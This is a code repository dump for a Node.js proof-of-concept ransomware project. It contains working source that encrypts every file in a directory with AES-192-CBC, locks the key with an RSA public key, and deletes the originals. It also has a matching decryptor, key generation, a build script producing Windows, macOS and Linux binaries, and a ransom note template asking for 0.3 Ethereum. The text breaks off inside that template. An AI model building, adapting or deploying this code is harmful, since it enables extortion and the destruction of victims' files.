├── CONTRIBUTING.md ├── .vscode └── extensions.json ├── .gitignore ├── server └── decrypt.js ├── .eslintrc.json ├── package.json ├── genKey.js ├── LICENSE.txt ├── scripts └── build.js ├── client ├── decrypt.js └── encrypt.js └── README.md /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": [ 3 | "dbaeumer.vscode-eslint" 4 | ] 5 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | dist/ 2 | 3 | node_modules/ 4 | 5 | # DON'T UPLOAD YOUR PRIVATE OR PUBLIC KEY 6 | server/private.pem 7 | server/public.pem 8 | 9 | .DS_Store -------------------------------------------------------------------------------- /server/decrypt.js: -------------------------------------------------------------------------------- 1 | const { privateDecrypt } = require('crypto'); 2 | const { readFileSync, writeFileSync } = require('fs'); 3 | const { join } = require('path'); 4 | 5 | const decrypted = privateDecrypt( 6 | readFileSync(join(__dirname, 'private.pem')), 7 | readFileSync(join(__dirname, 'device_key_encrypted.dat')) 8 | ); 9 | 10 | writeFileSync(join(__dirname, 'device_key.dat'), decrypted); 11 | -------------------------------------------------------------------------------- /.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "commonjs": true, 4 | "es2020": true, 5 | "node": true 6 | }, 7 | "extends": [ 8 | "eslint:recommended" 9 | ], 10 | "parserOptions": { 11 | "ecmaVersion": 11 12 | }, 13 | "rules": { 14 | "semi": [ 15 | "error", 16 | "always" 17 | ], 18 | "quotes": [ 19 | "error", 20 | "single" 21 | ], 22 | "indent": [ 23 | "error", 24 | "tab" 25 | ] 26 | } 27 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ransomware", 3 | "version": "1.0.0", 4 | "description": "A roof of concept ransomware in node.js", 5 | "scripts": { 6 | "build": "node ./scripts/build.js", 7 | "lint": "eslint ." 8 | }, 9 | "keywords": [ 10 | "Ransomware" 11 | ], 12 | "optionalDependencies": { 13 | "pkg": "^4.4.9" 14 | }, 15 | "author": "Eric Li", 16 | "license": "MIT", 17 | "devDependencies": { 18 | "eslint": "^7.5.0" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /genKey.js: -------------------------------------------------------------------------------- 1 | const { generateKeyPairSync } = require('crypto'); 2 | const { writeFileSync } = require('fs'); 3 | const { join } = require('path'); 4 | 5 | const { publicKey, privateKey } = generateKeyPairSync('rsa', { 6 | modulusLength: 4096, // Key length 4096 for security 7 | publicKeyEncoding: { 8 | type: 'spki', 9 | format: 'pem', 10 | }, 11 | privateKeyEncoding: { 12 | type: 'pkcs8', 13 | format: 'pem', 14 | }, 15 | }); 16 | 17 | writeFileSync(join(__dirname, 'server', 'private.pem'), privateKey); 18 | writeFileSync(join(__dirname, 'server', 'public.pem'), publicKey); 19 | 20 | console.log('Key pair generated, do not forget to change the PUBLIC_KEY in client/encrypt.js'); 21 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright © 2020 Eric Li 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /scripts/build.js: -------------------------------------------------------------------------------- 1 | const pkg = require('pkg'); 2 | 3 | if (pkg) { 4 | const { join } = require('path'); 5 | 6 | const encrypt = join(__dirname, '../', 'client', 'encrypt.js'); 7 | const decrypt = join(__dirname, '../', 'client', 'decrypt.js'); 8 | 9 | (async () => { 10 | console.log('Compiling binaries for Windows'); 11 | 12 | await pkg.exec([ 13 | encrypt, 14 | '--target', 15 | 'node14-win-x64', 16 | '--output', 17 | `${join(__dirname, '../', 'dist', 'encrypt.exe')}`, 18 | ]); 19 | await pkg.exec([ 20 | decrypt, 21 | '--target', 22 | 'node14-win-x64', 23 | '--output', 24 | `${join(__dirname, '../', 'dist', 'decrypt.exe')}`, 25 | ]); 26 | 27 | console.log('Compiling binaries for MacOS'); 28 | await pkg.exec([ 29 | encrypt, 30 | '--target', 31 | 'node14-macos-x64', 32 | '--output', 33 | `${join(__dirname, '../', 'dist', 'encrypt')}`, 34 | ]); 35 | 36 | await pkg.exec([ 37 | decrypt, 38 | '--target', 39 | 'node14-macos-x64', 40 | '--output', 41 | `${join(__dirname, '../', 'dist', 'decrypt')}`, 42 | ]); 43 | 44 | console.log('Compiling binaries for Linux'); 45 | await pkg.exec([ 46 | encrypt, 47 | '--target', 48 | 'node14-linux-x64', 49 | '--output', 50 | `${join(__dirname, '../', 'dist', 'encrypt.elf')}`, 51 | ]); 52 | 53 | await pkg.exec([ 54 | decrypt, 55 | '--target', 56 | 'node14-linux-x64', 57 | '--output', 58 | `${join(__dirname, '../', 'dist', 'decrypt.elf')}`, 59 | ]); 60 | 61 | console.log('Compilation complete'); 62 | })(); 63 | } else { 64 | console.log('pkg is not installed!'); 65 | } 66 | -------------------------------------------------------------------------------- /client/decrypt.js: -------------------------------------------------------------------------------- 1 | const { 2 | readFileSync, 3 | existsSync, 4 | readdirSync, 5 | createReadStream, 6 | createWriteStream, 7 | unlinkSync, 8 | } = require('fs'); 9 | const { join, extname, dirname } = require('path'); 10 | const { createDecipheriv } = require('crypto'); 11 | 12 | //* These code ensure the directory name is correct 13 | let directory; 14 | if (process.pkg) { 15 | //* It is run as an executable 16 | directory = dirname(process.execPath); 17 | } else { 18 | //* It is run with nodejs 19 | directory = __dirname; 20 | } 21 | 22 | if (!existsSync(join(directory, 'device_key.dat'))) { 23 | console.log('No decryption file found yet. Did you pay us using the address on NOTICE.html?'); 24 | process.exit(1); 25 | } 26 | 27 | const DEVICE_KEY = Buffer.from(readFileSync(join(directory, 'DEVICE_KEY.dat'))); 28 | 29 | const files = readdirSync(directory); 30 | 31 | for (let i = 0; i < files.length; i++) { 32 | const filename = files[i]; 33 | 34 | let encrypted; 35 | let iv; 36 | if (extname(filename) === '.encrypted') { 37 | encrypted = filename; 38 | iv = `${filename.split('.').slice(0, -1).join('.')}.iv`; 39 | } else if (extname(filename) === '.iv') { 40 | iv = filename; 41 | encrypted = `${filename.split('.').slice(0, -1).join('.')}.encrypted`; 42 | } else { 43 | continue; 44 | } 45 | 46 | files.splice(files.indexOf(encrypted), 1); 47 | files.splice(files.indexOf(iv), 1); 48 | 49 | iv = join(directory, iv); 50 | encrypted = join(directory, encrypted); 51 | 52 | const IV_DATA = Buffer.from(readFileSync(iv).toString(), 'hex'); 53 | 54 | const decipher = createDecipheriv('aes-192-cbc', DEVICE_KEY, IV_DATA); 55 | 56 | const input = createReadStream(encrypted); 57 | const output = createWriteStream(encrypted.split('.').slice(0, -1).join('.')); 58 | 59 | input 60 | .pipe(decipher) 61 | .pipe(output) 62 | .on('finish', () => { 63 | unlinkSync(iv); 64 | unlinkSync(encrypted); 65 | }); 66 | } 67 | 68 | console.log('All your files have been decrypted'); 69 | -------------------------------------------------------------------------------- /client/encrypt.js: -------------------------------------------------------------------------------- 1 | const { 2 | writeFileSync, 3 | readdirSync, 4 | lstatSync, 5 | createReadStream, 6 | createWriteStream, 7 | unlinkSync, 8 | existsSync, 9 | } = require('fs'); 10 | const { dirname, join, extname } = require('path'); 11 | const { randomBytes, publicEncrypt, createCipheriv } = require('crypto'); 12 | 13 | //* These code ensure the directory name is correct 14 | let directory; 15 | if (process.pkg) { 16 | //* It is run as an executable 17 | directory = dirname(process.execPath); 18 | } else { 19 | //* It is run with nodejs 20 | directory = __dirname; 21 | } 22 | 23 | if (existsSync(join(directory, 'device_key_encrypted.dat'))) { 24 | console.log('You have already encrypted your files once, are you sure you want to pay more?'); 25 | process.exit(1); 26 | } 27 | 28 | //! CHANGE THIS PUBLIC KEY 29 | const PUBLIC_KEY = `-----BEGIN PUBLIC KEY----- 30 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoK+jQ8f3O3Ug4GdLEK5X 31 | MixXGi72NMIhU2lEE/BXF3C42J/fjVNYPXvZPzX/Cz3atGBX7D2nK28YntVvAII0 32 | dEZMvcmkR5Y4ZYahFWYyU4NcOWU/TEMv2w3IsQ4Eageu+1D+qS9rCIbj619wYCeJ 33 | ncpMwYD2b0fGpyHZUEfNLX2Qf8QRZPKRtQx05MUPNjgRO/nnXDjq6xs7hEYZB6Nd 34 | fvGjOaggtmY0/7X+wnojkZXyjkbbRRUPiB3/rgXhXsv89T9ioQZO2enK4A6JWn/s 35 | bFYyUBmQ+uzhADy3HcQZkfMGGwZho6FFtOQNZv1fPVbAMPxAGm61yG46uWgiqJUV 36 | 8QIDAQAB 37 | -----END PUBLIC KEY-----`; 38 | 39 | // Generate a unique device key for each client 40 | const DEVICE_KEY = randomBytes(24); 41 | 42 | // Encrypt the device key using the public key, so the client can't decrypt the file that encrypted them 43 | const DEVICE_KEY_ENCRYPTED = publicEncrypt(PUBLIC_KEY, DEVICE_KEY); 44 | writeFileSync(join(directory, 'device_key_encrypted.dat'), DEVICE_KEY_ENCRYPTED); 45 | 46 | // Make sure the virus doesn't encrypt these files 47 | const NO_TOUCH = [ 48 | 'encrypt.exe', 49 | 'encrypt.elf', 50 | 'encrypt.app', 51 | 'decrypt.exe', 52 | 'decrypt.elf', 53 | 'decrypt.app', 54 | 'encrypt.js', 55 | 'decrypt.js', 56 | 'device_key_encrypted.dat', 57 | ]; 58 | 59 | readdirSync(directory).forEach((filename) => { 60 | const rawFilename = filename; 61 | filename = join(directory, filename); 62 | 63 | if ( 64 | lstatSync(filename).isFile() && 65 | extname(filename) !== '.encrypted' && 66 | extname(filename) !== '.iv' && 67 | !NO_TOUCH.includes(rawFilename) 68 | ) { 69 | // Create a initialization vector 70 | const iv = randomBytes(16); 71 | 72 | const cipher = createCipheriv('aes-192-cbc', DEVICE_KEY, iv); 73 | const input = createReadStream(filename); 74 | const output = createWriteStream(`${filename}.encrypted`); 75 | 76 | // Write encrypted data into the file using the cipher 77 | input.pipe(cipher).pipe(output); 78 | 79 | // Write the initialization vector in hexadecimal format 80 | writeFileSync(`${filename}.iv`, iv.toString('hex')); 81 | 82 | // Remove the original file 83 | unlinkSync(filename); 84 | } 85 | }); 86 | 87 | /** 88 | * Make sure there's a way to communicate with the user (e.g. email, etc) 89 | */ 90 | const HTML_TEMPLATE = ` 91 | 92 |
93 |Please send 0.3 Ethereum to the following address: 0xDEADBEEFDEADBEEFDEADBEEFDEADBEEFDDEADBEEF
98 | For the sake of the project, please DO NOT send any real ethereum to this address! 99 |Make sure you send this:
101 |
102 |
${DEVICE_KEY_ENCRYPTED.toString('hex')}
103 |Along with your transaction as a message input. We will soon get in touch
104 |